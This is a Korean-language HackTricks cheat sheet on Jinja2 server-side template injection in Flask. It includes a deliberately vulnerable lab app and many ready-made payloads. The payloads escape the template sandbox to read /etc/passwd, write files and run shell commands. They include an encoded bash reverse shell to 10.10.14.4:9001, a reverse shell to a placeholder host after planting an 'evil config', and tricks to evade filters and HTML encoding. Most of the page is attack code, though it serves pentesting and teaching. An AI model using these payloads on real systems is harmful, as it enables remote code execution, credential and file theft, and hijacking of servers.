Jinja2 SSTI

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

기타

디버그 문

디버그 확장이 활성화되어 있으면 debug 태그를 사용하여 현재 컨텍스트 및 사용 가능한 필터 및 테스트를 덤프할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다.

<pre>

{% debug %}




</pre>

모든 구성 변수 덤프

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

Jinja Injection

우선, Jinja 삽입에서는 샌드박스를 탈출하는 방법을 찾아야 하며 일반적인 파이썬 실행 흐름에 다시 접근해야 합니다. 이를 위해 샌드박스 환경 밖에서 가져온 객체를 남용해야 합니다.

전역 객체에 액세스하기

예를 들어 코드 render_template("hello.html", username=username, email=email)에서 username과 email 객체는 샌드박스 밖의 파이썬 환경에서 가져오며 샌드박스 환경 내에서 접근 가능할 것입니다. 또한, 샌드박스 환경에서 항상 접근 가능한 다른 객체들이 있습니다.

[]
''
()
dict
config
request

<class 'object'> 복구

그런 다음, 이러한 객체에서 클래스인 **<class 'object'>**에 도달하여 정의된 클래스복구해야 합니다. 이는 이 객체에서 __subclasses__ 메서드를 호출하고 비샌드박스 파이썬 환경의 모든 클래스에 액세스할 수 있기 때문입니다.

해당 객체 클래스에 액세스하려면 클래스 객체에 액세스한 다음 __base__, __mro__()[-1] 또는 .**mro()[-1]**에 액세스해야 합니다. 그런 다음, 이 객체 클래스에 도달한 후 **__subclasses__()**를 호출합니다.

다음 예제를 확인하세요:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}


# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

<class 'object'>를 복구한 후 __subclasses__를 호출하여 해당 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.

__subclasses__ 호출로 수백 개의 새로운 함수에 액세스할 수 있는 기회가 주어졌으며, 파일 클래스에 액세스하여 파일을 읽거나 쓰거나 또는 os와 같이 명령을 실행할 수 있는 클래스에 액세스할 수 있으면 만족할 것입니다.

원격 파일 읽기/쓰기

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

원격 코드 실행(RCE)

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

더 많은 클래스를 알아보려면 이스케이프에 사용할 수 있는 더 많은 클래스를 알아볼 수 있습니다:

pageBypass Python sandboxes

필터 우회

일반적인 우회

이러한 우회는 일부 문자를 사용하지 않고 객체의 속성에 액세스할 수 있게 합니다. 우리는 이미 이러한 우회 중 일부를 이전 예제에서 보았지만, 여기서 그것들을 요약해 보겠습니다:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}

HTML 인코딩 피하기

기본적으로 Flask는 보안상의 이유로 템플릿 내의 모든 것을 HTML로 인코딩합니다:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

safe 필터를 사용하면 페이지에 JavaScript 및 HTML을 HTML 인코딩되지 않고 삽입할 수 있습니다.

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

악의적인 구성 파일을 작성하여 RCE 실행하기.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

몇 가지 문자 없이

{{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}

<class 'object'> 없이 Jinja 삽입

전역 객체에서는 그 클래스를 사용하지 않고도 RCE에 도달할 수 있는 또 다른 방법이 있습니다. 전역 객체 중 어떤 함수에 접근할 수 있다면, **__globals__.__builtins__**에 액세스할 수 있고 거기서부터 RCE는 매우 간단해집니다.

request, config 및 액세스할 수 있는 다른 흥미로운 전역 객체에서 함수를 찾을 수 있습니다.

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

일부 함수를 찾은 후 다음과 같이 내장 함수를 복구할 수 있습니다:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated